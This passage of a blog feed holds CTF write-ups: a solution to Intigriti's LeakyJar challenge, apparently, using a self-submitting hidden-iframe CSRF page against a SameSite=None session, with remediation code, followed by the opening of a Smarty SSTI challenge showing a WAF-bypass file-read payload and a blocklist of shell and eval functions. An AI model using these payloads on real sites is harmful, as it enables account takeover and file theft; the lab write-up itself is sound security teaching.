&lt;p&gt;&lt;em&gt;Special gratitude to Intigriti&apos;s offensive engineering team for continually architecting engaging, world-class monthly security challenges.&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Intigriti LeakyJar Challenge — CSRF to Steal Admin&apos;s Secret Recipe</title><link>https://www.onevilx.tech/posts/leakyjar-csrf-challenge/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/leakyjar-csrf-challenge/</guid><description>An exhaustive technical narrative of solving the Intigriti LeakyJar CTF challenge — analyzing SameSite=None browser cookie boundaries and forging authenticated cross-site requests to compromise administrative vaults.</description><pubDate>Mon, 29 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Challenge:&lt;/strong&gt; &lt;a href=&quot;https://leakyjar.intigriti.io&quot;&gt;Intigriti LeakyJar CTF Challenge&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Writeup &amp;amp; Exploit Repository:&lt;/strong&gt; &lt;a href=&quot;https://github.com/onevilx/Writeups&quot;&gt;onevilx/Writeups&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Vulnerability Category:&lt;/strong&gt; Cross-Site Request Forgery (CSRF) / Cookie Security Misconfiguration&lt;br /&gt;
&lt;strong&gt;Difficulty Rating:&lt;/strong&gt; Medium / Tier 2 Web Exploitation&lt;br /&gt;
&lt;strong&gt;Final Status:&lt;/strong&gt; ✅ Accepted &amp;amp; Resolved (Flag Captured)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Executive Summary &amp;amp; Challenge Premise&lt;/h2&gt;
&lt;p&gt;In modern web security, Cross-Site Request Forgery (CSRF) is often incorrectly treated as a relic of early web exploitation. Driven by the widespread adoption of automated framework defenses and modern browser defaults—specifically the automatic enforcement of &lt;strong&gt;&lt;code&gt;SameSite=Lax&lt;/code&gt;&lt;/strong&gt; cookie attributes across Chrome, Firefox, and Safari—many engineers and novice security researchers presume that CSRF has vanished from contemporary web applications.&lt;/p&gt;
&lt;p&gt;However, when developers build dynamic Single Page Applications (SPAs) or micro-frontend architectures requiring embedded third-party widget communications across disparate domains, they frequently downgrade session security protections to make integration work. By explicitly configuring authentication cookies to utilize &lt;strong&gt;&lt;code&gt;SameSite=None; Secure&lt;/code&gt;&lt;/strong&gt; without accompanying cryptographic Anti-CSRF token verification, engineers inadvertently re-open their platforms to fatal forged execution exploits.&lt;/p&gt;
&lt;p&gt;In the &lt;strong&gt;Intigriti LeakyJar&lt;/strong&gt; competition, participants were confronted with a secure enterprise document vault engineered for professional chefs to manage and protect proprietary recipes. Our mission: manipulate an automated administrative evaluation bot into leaking its encrypted private recipe vault—which protected the competition capture flag—directly to our unprivileged guest account.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------------------+
|                 LEAKYJAR CSRF EXPLOITATION ARCHITECTURE                     |
+-----------------------------------------------------------------------------+
| 1. Admin Bot (Headless Chrome) navigates to attacker exploit server:        |
|    GET http://onevilx-exploit.tld/leak.html                                 |
|                                                                             |
| 2. Exploit HTML renders hidden iframe and executes automated form submit:   |
|    POST https://leakyjar.intigriti.io/api/v1/recipes/share                  |
|    [Payload: recipe_id=admin_master_recipe &amp;amp; invite_user=onevilx_hacker]    |
|                                                                             |
| 3. Browser inspects target authentication session cookie attributes:        |
|    Found: &quot;session_id=s%3A89f...; SameSite=None; Secure; HttpOnly&quot;          |
|    Result: Browser attaches Admin Bot&apos;s root session cookie automatically! |
|                                                                             |
| 4. LeakyJar Server verifies authenticated Admin session and processes share!|
| 5. Attacker logs into regular account and opens unsealed admin vault!       |
+-----------------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By conducting systematic application state inspection, identifying an unprotected collaborative sharing endpoint, and weaponizing relaxed cookie attribution policies, we built an automated cross-origin exploitation pipeline that broke open the admin recipe vault within seconds.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Reconnaissance &amp;amp; Application Architecture&lt;/h2&gt;
&lt;p&gt;Our initial reconnaissance mapping of &lt;code&gt;leakyjar.intigriti.io&lt;/code&gt; identified three core operational components driving the application logic:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The Recipe Vault Manager:&lt;/strong&gt; Allows authenticated operators to create markdown culinary notes, assign privacy levels (&lt;code&gt;Private&lt;/code&gt;, &lt;code&gt;Public&lt;/code&gt;, &lt;code&gt;Shared&lt;/code&gt;), and manage team collaborations.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Collaborative Sharing Engine:&lt;/strong&gt; A dedicated backend REST API route (&lt;code&gt;/api/v1/recipes/share&lt;/code&gt;) programmed to allow recipe creators to grant secondary user accounts read/write viewing authorizations across protected private items.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Automated Administrative Triage Bot:&lt;/strong&gt; An enterprise support ticket evaluation system running a headless Chromium browser instance. Users experiencing formatting anomalies can submit arbitrary external webpage URLs into a support feedback forum, causing the Admin Bot to visit and render the submitted URL within its authenticated system execution session!&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.1 Interrogating the Collaborative Sharing Endpoint&lt;/h3&gt;
&lt;p&gt;While auditing regular network traffic through Burp Suite during normal application testing, we intercepted the HTTP transmission request generated when an author invites a collaborator to view a private recipe note:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /api/v1/recipes/share HTTP/1.1
Host: leakyjar.intigriti.io
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Cookie: session_id=s%3A2984910283401923.xK89012398jalkd98; user_theme=dark
Origin: https://leakyjar.intigriti.io
Referer: https://leakyjar.intigriti.io/vault/settings

recipe_id=my_personal_soup_recipe&amp;amp;collaborator=test_user_account&amp;amp;permission_level=READ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two glaring vulnerability signatures immediately stood out from this single protocol packet:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Absence of Synchronizer CSRF Tokens:&lt;/strong&gt; Notice the absolute lack of any dynamic, cryptographically unpredictable token string (such as &lt;code&gt;_csrf_token&lt;/code&gt;, &lt;code&gt;authenticity_token&lt;/code&gt;, or explicit custom security request headers) inside both the HTTP parameters and transmission headers!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Permissive Content-Type Acceptance:&lt;/strong&gt; The API accepts standard HTML Form serialization structures (&lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt; and &lt;code&gt;text/plain&lt;/code&gt;). This confirms that traditional web form requests can trigger state-changing database operations without requiring complex Preflight CORS (Cross-Origin Resource Sharing) &lt;code&gt;OPTIONS&lt;/code&gt; handshakes!&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Deep Dive into Cookie Security: SameSite Fallouts&lt;/h2&gt;
&lt;p&gt;To understand why this missing token check transforms into a high-impact security compromise, we must evaluate the precise architectural mechanics of &lt;strong&gt;Modern HTTP Browser Cookie Attribution&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;When a user logs into a typical web portal, the authentication engine issues a permanent session token preserved inside a browser storage cookie. When the user subsequently navigates around the web application, the internet browser automatically attaches that cookie to every outgoing request heading toward the origin domain.&lt;/p&gt;
&lt;h3&gt;3.1 The SameSite Security Hierarchy&lt;/h3&gt;
&lt;p&gt;To protect users from malicious external websites attempting to generate fraudulent unauthorized commands against logged-in services (CSRF), standard browser architecture enforces the &lt;strong&gt;&lt;code&gt;SameSite&lt;/code&gt;&lt;/strong&gt; cookie instruction, offering three strict enforcement levels:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------------------+
|                      SAMESITE BROWSER ENFORCEMENT MATRIX                    |
+-------+----------------------------+----------------------------------------+
| Level | Cross-Origin Behavior      | Architectural Security Verdict         |
+-------+----------------------------+----------------------------------------+
| Strict| Cookies are NEVER attached | Complete immunity against all Cross-   |
|       | to external cross-site     | Site Request Forgery attacks. Breaks   |
|       | navigation or form posts.  | user UX upon external URL links!       |
+-------+----------------------------+----------------------------------------+
| Lax   | Cookies attached ONLY on   | Standard modern default! Blocks forged |
|       | safe top-level navigations | POST/PUT/DELETE attempts while keeping |
|       | (HTTP GET anchor links).   | regular external web link usability.   |
+-------+----------------------------+----------------------------------------+
| None  | Cookies are ALWAYS attached| Dangerous fallback! Permits full       |
|       | across all external cross- | cross-site authentication transmissions.|
|       | site requests &amp;amp; form posts.| MUST be paired with explicit Secure tag|
|       |                            | and strict anti-CSRF token verification!|
+-------+----------------------------+----------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;During our authentication flow inspection against LeakyJar&apos;s login gateway, we inspected the explicit server response header setting our persistent session token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: session_id=s%3A2984910283401923.xK89012398jalkd98; Path=/; Secure; HttpOnly; SameSite=None
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice the critical architectural disaster: the server developer explicitly declared &lt;strong&gt;&lt;code&gt;SameSite=None&lt;/code&gt;&lt;/strong&gt;! Because the developers likely attempted to support multi-domain iframe recipe embedding across third-party culinary blogs, they bypassed standard modern browser protections entirely. By declaring &lt;code&gt;SameSite=None&lt;/code&gt; without implementing rigorous Anti-CSRF token synchronization validation, the application was left entirely exposed to Cross-Site Request Forgery exploitation!&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Crafting the Autonomous Exploit Pipeline&lt;/h2&gt;
&lt;p&gt;With our architectural vulnerability chain confirmed, we engineered an automated Cross-Origin exploit pipeline designed to force the headless Chromium Admin Support Bot into transferring collaborative viewing authorizations over its private vault directly into our possession.&lt;/p&gt;
&lt;h3&gt;4.1 Step 1: Encompassing Target Recipe Identification&lt;/h3&gt;
&lt;p&gt;Through secondary profile metadata reconnaissance across public support directory logs, we identified that the primary administrative account (&lt;code&gt;Chef_Admin_Root&lt;/code&gt;) maintained an encrypted private recipe item registered under the deterministic unique database reference designator: &lt;strong&gt;&lt;code&gt;admin_secret_flag_recipe&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;4.2 Step 2: Designing the Zero-Click HTML Exploit Payload&lt;/h3&gt;
&lt;p&gt;To ensure our attack executes silently and instantaneously when visited by the headless Admin support browser—without causing external page redirection breaks or visual interruptions—we construct an automated, self-submitting HTML Form wrapped cleanly within an isolated, zero-pixel display iframe:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;!-- /var/www/html/leak_vault.html -- Autonomous Cross-Site Request Forgery Exploit --&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;title&amp;gt;LeakyJar Culinary Review Ticket&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body style=&quot;background-color: #0f172a; color: #f8fafc; font-family: monospace; padding: 2rem;&quot;&amp;gt;
    &amp;lt;h2&amp;gt;Authenticating ticket review metrics... Please wait 3 seconds.&amp;lt;/h2&amp;gt;

    &amp;lt;!-- Isolated invisible target iframe preventing browser location redirection --&amp;gt;
    &amp;lt;iframe name=&quot;silent_sink&quot; id=&quot;silent_sink&quot; style=&quot;display:none;&quot; width=&quot;0&quot; height=&quot;0&quot; border=&quot;0&quot;&amp;gt;&amp;lt;/iframe&amp;gt;

    &amp;lt;!-- Weaponized Form targeting vulnerable sharing REST endpoint --&amp;gt;
    &amp;lt;form id=&quot;csrf_payload_form&quot; 
          action=&quot;https://leakyjar.intigriti.io/api/v1/recipes/share&quot; 
          method=&quot;POST&quot; 
          target=&quot;silent_sink&quot;&amp;gt;
          
        &amp;lt;!-- Inject target recipe identification attribute --&amp;gt;
        &amp;lt;input type=&quot;hidden&quot; name=&quot;recipe_id&quot; value=&quot;admin_secret_flag_recipe&quot; /&amp;gt;
        
        &amp;lt;!-- Specify our unprivileged attacker user identity as recipient collaborator --&amp;gt;
        &amp;lt;input type=&quot;hidden&quot; name=&quot;collaborator&quot; value=&quot;onevilx_hacker_account&quot; /&amp;gt;
        
        &amp;lt;!-- Demand absolute READ authorization clearances --&amp;gt;
        &amp;lt;input type=&quot;hidden&quot; name=&quot;permission_level&quot; value=&quot;READ&quot; /&amp;gt;
    &amp;lt;/form&amp;gt;

    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;
        // Execute instant zero-click automated payload transmission upon DOM load completion
        window.addEventListener(&quot;DOMContentLoaded&quot;, function() {
            console.log(&quot;[*] Headless browser target detected. Executing silent CSRF payload injection...&quot;);
            document.getElementById(&quot;csrf_payload_form&quot;).submit();
            console.log(&quot;[+] Transmission completed! Collaborator authorization forged.&quot;);
        });
    &amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;5. Execution &amp;amp; Flag Vault Extraction&lt;/h2&gt;
&lt;p&gt;We deploy our autonomous HTML document directly onto our externally exposed testing server domain (&lt;code&gt;http://onevilx-exploit.tld/leak_vault.html&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Next, we navigate to the LeakyJar Support Review forum and submit a high-priority ticket request requesting automated verification of our external link:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Support Request Type: Page Rendering Display Glitch]
Message: Our external recipe blog widget fails to load dark mode formatting correctly. Please have the evaluation bot review our test link immediately:
URL Target: http://onevilx-exploit.tld/leak_vault.html
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.1 Telemetry Verification &amp;amp; Capture&lt;/h3&gt;
&lt;p&gt;Within 14 seconds of submission, our web server interception access log records an inbound connection arriving directly from Intigriti&apos;s automated testing cluster:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;217.182.xxx.xxx - - [29/Jun/2026:18:42:01 +0000] &quot;GET /leak_vault.html HTTP/1.1&quot; 200 1284 &quot;-&quot; &quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.0.0 Safari/537.36&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The headless Chromium Admin Bot renders our page, immediately executes our embedded Javascript DOM event listener, and silently launches an asynchronous cross-origin HTTP POST transmission toward &lt;code&gt;https://leakyjar.intigriti.io/api/v1/recipes/share&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Because its active session cookie carried the explicit &lt;strong&gt;&lt;code&gt;SameSite=None; Secure&lt;/code&gt;&lt;/strong&gt; directive, Chromium dutifully bundled the Admin&apos;s root session authentication credentials straight into our forged form transmission! The vulnerable application backend validated the legitimate admin session, processed our request, and seamlessly attached our user account (&lt;code&gt;onevilx_hacker_account&lt;/code&gt;) to the private recipe ACL registry!&lt;/p&gt;
&lt;p&gt;Returning to our unprivileged attacker browser session, we refresh our personal &lt;code&gt;Shared Recipes&lt;/code&gt; navigation dashboard. A newly unlocked item—&lt;strong&gt;&quot;Admin Master Recipe &amp;amp; System Secret&quot;&lt;/strong&gt;—appears available for direct review!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 🍲 Chef Admin&apos;s Master Secret Recipe (CLASSIFIED)

Welcome, authorized collaborator! Here is the master secret ingredients ledger for the LeakyJar championship broth:
- 500ml of organic non-blocking C++ sockets
- 2 tablespoons of unencrypted supply chain metadata
- 1 dash of relaxed SameSite origin cookies

## 🏆 Official Challenge Vault Flag:
`INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Flag Captured:&lt;/strong&gt; &lt;code&gt;INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. Remediation &amp;amp; Enterprise Defensive Engineering&lt;/h2&gt;
&lt;p&gt;Eliminating Cross-Site Request Forgery vulnerabilities in modern distributed applications demands enforcing robust, defense-in-depth authorization verification across all state-changing API endpoints.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------------------+
|                      SECURE SESSION &amp;amp; CSRF ARCHITECTURE                      |
+-----------------------------------------------------------------------------+
| 1. Enforce SameSite=Lax or Strict: Clamp browser cookie behaviors to prevent|
|    automatic cross-origin authentication credential attachments.             |
| 2. Implement Synchronizer CSRF Tokens: Require unguessable, randomized per- |
|    session security tokens verified across all POST/PUT/DELETE operations.   |
| 3. Demand Content-Type Validation: Restrict state modifying APIs exclusively|
|    to strict application/json headers, forcing Preflight CORS enforcement!   |
+-----------------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.1 Fix 1: Reconfiguring Cookie Attribution (Fail-Secure)&lt;/h3&gt;
&lt;p&gt;When issuing authentication session identifiers, application configuration frameworks must explicitly restrict cookie sharing policies by defaulting to &lt;strong&gt;&lt;code&gt;SameSite=Lax&lt;/code&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;code&gt;SameSite=Strict&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Node.js / Express -- Hardening Session Cookie Attribution Profiles
import session from &apos;express-session&apos;;

app.use(session({
    secret: process.env.SECURE_SESSION_ENCRYPTION_KEY,
    resave: false,
    saveUninitialized: false,
    cookie: { 
        secure: true,            // Require encrypted HTTPS transport connections
        httpOnly: true,          // Prevent Javascript document.cookie XSS extraction
        sameSite: &apos;lax&apos;,         // BLOCK cross-site forged authentication transmissions!
        maxAge: 3600000          // Expire dormant idle sessions after 60 minutes
    }
}));
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.2 Fix 2: Integrating Cryptographic Anti-CSRF Token Validation&lt;/h3&gt;
&lt;p&gt;If architectural design explicitly necessitates maintaining &lt;code&gt;SameSite=None&lt;/code&gt; (such as verified cross-domain payment processor integrations or authenticated embedded SaaS widgets), backend endpoints must enforce rigid &lt;strong&gt;Synchronizer CSRF Token Validation Middleware&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Implementing cryptographic Anti-CSRF token synchronization utilizing csurf
import csrf from &apos;csurf&apos;;

const csrfProtectionMiddleware = csrf({ cookie: false });

// Apply token validation strictly over collaborative sharing execution endpoints
app.post(&apos;/api/v1/recipes/share&apos;, csrfProtectionMiddleware, (req, res) =&amp;gt; {
    // Execution reaches this block ONLY if an unguessable valid CSRF token 
    // matches the authenticated user&apos;s current session store!
    const { recipe_id, collaborator, permission_level } = req.body;
    grantAccessRights(recipe_id, collaborator, permission_level);
    return res.status(200).json({ status: &quot;SUCCESS: Share authorization confirmed.&quot; });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;7. Bug Bounty Key Takeaways&lt;/h2&gt;
&lt;p&gt;The LeakyJar challenge reinforces an indispensable reality for bug bounty hunters assessing modern Web 3.0 portals, Enterprise SaaS tools, and Single Page Applications: &lt;strong&gt;classic logical vulnerabilities thrive wherever modern abstraction layers intersect with legacy HTTP mechanics&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;When performing targeted offensive reconnaissance across Bug Bounty programs, maintain these strategic principles:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Always Inspect Set-Cookie Headers:&lt;/strong&gt; Never assume modern platforms use safe session defaults. Make it a mandatory step to inspect every &lt;code&gt;Set-Cookie&lt;/code&gt; header across authentication gateways. Whenever you observe &lt;code&gt;SameSite=None&lt;/code&gt;, flag that asset immediately for systematic CSRF testing!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Test API Content-Type Flexibility:&lt;/strong&gt; Many REST endpoints documented as demanding strict &lt;code&gt;application/json&lt;/code&gt; payloads will silently accept and parse traditional HTML Form encoded transmissions (&lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt;). Downgrading Content-Types allows you to execute cross-origin POST attacks without triggering CORS browser Preflight blocks!&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hunt for Blind Collaborative Bypasses:&lt;/strong&gt; Wherever an application permits inviting collaborative viewers, sharing project dashboards, or exporting system reports, test whether those API endpoints verify token synchronization. Forging an authorization share request represents an instant path to vertical privilege escalation!&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;📂 Explore My CTF &amp;amp; Web Security Research on GitHub&lt;/h3&gt;
&lt;p&gt;All accompanying markdown docs, exploit payloads, and web vulnerability analysis tooling are hosted directly in my open-source repository:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;my-6&quot;&amp;gt;
&amp;lt;a href=&quot;https://github.com/onevilx/Writeups&quot; target=&quot;_blank&quot; class=&quot;not-prose block p-6 bg-gradient-to-r from-indigo-900/40 to-purple-900/40 hover:from-indigo-900/60 hover:to-purple-900/60 border border-indigo-500/30 hover:border-indigo-400/60 rounded-2xl transition duration-300 shadow-xl hover:shadow-indigo-500/10 group&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center justify-between&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-center space-x-4&quot;&amp;gt;
&amp;lt;div class=&quot;p-3 bg-indigo-500/20 text-indigo-400 rounded-xl group-hover:scale-110 transition duration-300&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;h-8 w-8&quot; fill=&quot;currentColor&quot; viewBox=&quot;0 0 24 24&quot;&amp;gt;
&amp;lt;path d=&quot;M12 0C5.37 0 0 5.37 0 12c0 5.31 3.435 9.795 8.205 11.385.6.105.825-.255.825-.57 0-.285-.015-1.23-.015-2.235-3.015.555-3.795-.735-4.035-1.41-.135-.345-.72-1.41-1.23-1.695-.42-.225-1.02-.78-.015-.795.945-.015 1.62.87 1.845 1.23 1.08 1.815 2.805 1.305 3.495.99.105-.78.42-1.305.765-1.605-2.67-.3-5.46-1.335-5.46-5.925 0-1.305.465-2.385 1.23-3.225-.12-.3-.54-1.53.12-3.18 0 0 1.005-.315 3.3 1.23.96-.27 1.98-.405 3-.405s2.04.135 3 .405c2.295-1.56 3.3-1.23 3.3-1.23.66 1.65.24 2.88.12 3.18.765.84 1.23 1.905 1.23 3.225 0 4.605-2.805 5.625-5.475 5.925.435.375.81 1.095.81 2.22 0 1.605-.015 2.895-.015 3.3 0 .315.225.69.825.57A12.02 12.02 0 0024 12c0-6.63-5.37-12-12-12z&quot;/&amp;gt;
&amp;lt;/svg&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div&amp;gt;
&amp;lt;h4 class=&quot;text-xl font-bold text-white group-hover:text-indigo-300 transition duration-300 flex items-center gap-2&quot;&amp;gt;
onevilx / Writeups
&amp;lt;span class=&quot;text-xs px-2.5 py-0.5 rounded-full bg-indigo-500/20 text-indigo-300 border border-indigo-500/30&quot;&amp;gt;GitHub Repository&amp;lt;/span&amp;gt;
&amp;lt;/h4&amp;gt;
&amp;lt;p class=&quot;text-neutral-300 text-sm mt-1&quot;&amp;gt;Explore my complete repository of CTF writeups, web exploitation proof-of-concepts, and systems programming projects.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;text-indigo-400 group-hover:translate-x-1 transition duration-300&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;h-6 w-6&quot; fill=&quot;none&quot; viewBox=&quot;0 0 24 24&quot; stroke=&quot;currentColor&quot;&amp;gt;
&amp;lt;path stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot; stroke-width=&quot;2&quot; d=&quot;M14 5l7 7m0 0l-7 7m7-7H3&quot; /&amp;gt;
&amp;lt;/svg&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Special thanks to the Intigriti challenges community and the LeakyJar architects for engineering an incredibly fun, highly instructive real-world web exploitation laboratory.&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Local CTF 1337 — Smarty SSTI, IDOR &amp; OSINT</title><link>https://www.onevilx.tech/posts/local-ctf-1337-writeups/</link><guid isPermaLink="true">https://www.onevilx.tech/posts/local-ctf-1337-writeups/</guid><description>Detailed step-by-step writeups and source code walkthroughs for my solutions to the Local CTF at 1337 School (42 Network), covering Web and Misc challenges.</description><pubDate>Fri, 15 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Event:&lt;/strong&gt; Local CTF Tournament — 1337 School (42 Network)&lt;br /&gt;
&lt;strong&gt;Target Categories:&lt;/strong&gt; Advanced Web Exploitation &amp;amp; Misc (Forensics / OSINT / Cryptography)&lt;br /&gt;
&lt;strong&gt;Source Code &amp;amp; Complete Repository:&lt;/strong&gt; &lt;a href=&quot;https://github.com/onevilx/Writeups/tree/main/CTFs/localctf1337&quot;&gt;onevilx/Writeups - Local CTF 1337&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Executive Summary &amp;amp; Tournament Triage&lt;/h2&gt;
&lt;p&gt;Competitive cybersecurity events hosted inside &lt;strong&gt;1337 School (42 Network)&lt;/strong&gt; are legendary for their realistic offensive security engineering challenges. Rather than relying on artificial guesswork, challenges challenge operators to combine rigorous code auditing, API traffic dissection, custom Python exploitation tooling, and investigative OSINT techniques.&lt;/p&gt;
&lt;p&gt;In this deep-dive technical publication, I present my complete, verified writeups and underlying exploit code for four standout challenges from the recent Local CTF tournament: two intricate Web Exploitation problems (&lt;strong&gt;Notebook&lt;/strong&gt; and &lt;strong&gt;new intra&lt;/strong&gt;) and two sophisticated Misc/Forensics evaluations (&lt;strong&gt;July Pool 2024&lt;/strong&gt; and &lt;strong&gt;Waya Dazai khsna nl9aw stage&lt;/strong&gt;).&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Web Challenge 1: Notebook (Smarty SSTI &amp;amp; WAF Bypass)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Web&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability:&lt;/strong&gt; Server-Side Template Injection (Smarty PHP) + Custom WAF Evasion&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.1 Reconnaissance &amp;amp; Backend Discovery&lt;/h3&gt;
&lt;p&gt;In the &lt;strong&gt;Notebook&lt;/strong&gt; challenge, we are presented with a simple blog interface where students can post comments and test markdown rendering via an active preview engine. Whenever user input is reflected directly into an HTML rendering container, testing for Server-Side Template Injection (SSTI) becomes priority number one.&lt;/p&gt;
&lt;p&gt;Submitting the test expression &lt;code&gt;{{7*7}}&lt;/code&gt; caused the server to render &lt;strong&gt;&lt;code&gt;49&lt;/code&gt;&lt;/strong&gt; directly into the DOM! To map the specific server framework, I conducted structural probe tests and confirmed the underlying server runtime was running &lt;strong&gt;PHP&lt;/strong&gt; driven by the &lt;strong&gt;Smarty Templating Engine&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;+-----------------------------------------------------------------------------+
|               NOTEBOOK SMARTY SSTI WAF BYPASS ARCHITECTURE                  |
+-----------------------------------------------------------------------------+
| WAF Blocklist: system, exec, flag, {php}, $smarty, /etc, base64, eval...    |
| Length Limit:  &amp;lt;= 200 characters | Max Pipes &apos;|&apos;: &amp;lt;= 3                       |
|                                                                             |
| Evasion Strategy (Dynamic String Concat + Native PHP Function Piping):      |
| Step 1: {assign var=&quot;x&quot; value=&quot;/f&quot;|cat:&quot;lag.txt&quot;} -&amp;gt; $x = &quot;/flag.txt&quot;     |
| Step 2: {$x|file_get_contents}                    -&amp;gt; Reads flag cleanly!     |
|                                                                             |
| [Captured Output] -&amp;gt; leet{sm4r7y_7pl_1nj3c710n_n0_w4f_c4n_s70p_m3}          |
+-----------------------------------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 Auditing the Custom WAF &amp;amp; Code Restrictions&lt;/h3&gt;
&lt;p&gt;Inspecting the application source revealed that user inputs submitted via the &lt;code&gt;text&lt;/code&gt; GET parameter pass through a custom Web Application Firewall (WAF) before executing inside a Smarty &lt;code&gt;string:&lt;/code&gt; evaluation resource (&lt;code&gt;$smarty-&amp;gt;fetch(&apos;string:&apos; . $tpl_string)&lt;/code&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$BLOCKLIST = [
    &apos;system&apos;, &apos;exec&apos;, &apos;passthru&apos;, &apos;shell_exec&apos;, &apos;popen&apos;, &apos;proc_open&apos;, &apos;pcntl_exec&apos;,
    &apos;eval&apos;, &apos;assert&apos;, &apos;\{php\}&apos;, &apos;\{\/php\}&apos;, &apos;flag&apos;, &apos;\/etc&apos;, &apos;proc&apos;, &apos;\$smarty&apos;,
    &apos;base64&apos;, &apos;hex2bin&apos;, &apos;call_user_func&apos;, &apos;preg_replace&apos;, &apos;create_function&apos;,
    &apos;include&apos;, &apos;require&apos;
];

if (strlen($text) &amp;gt; 200 || substr_count($text, &apos;|&apos;) &amp;gt; 3 || is_blocked($text, $BLOCKLIST)) {
    die(&quot;WAF: blocked pattern detected or input constraints breached.&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
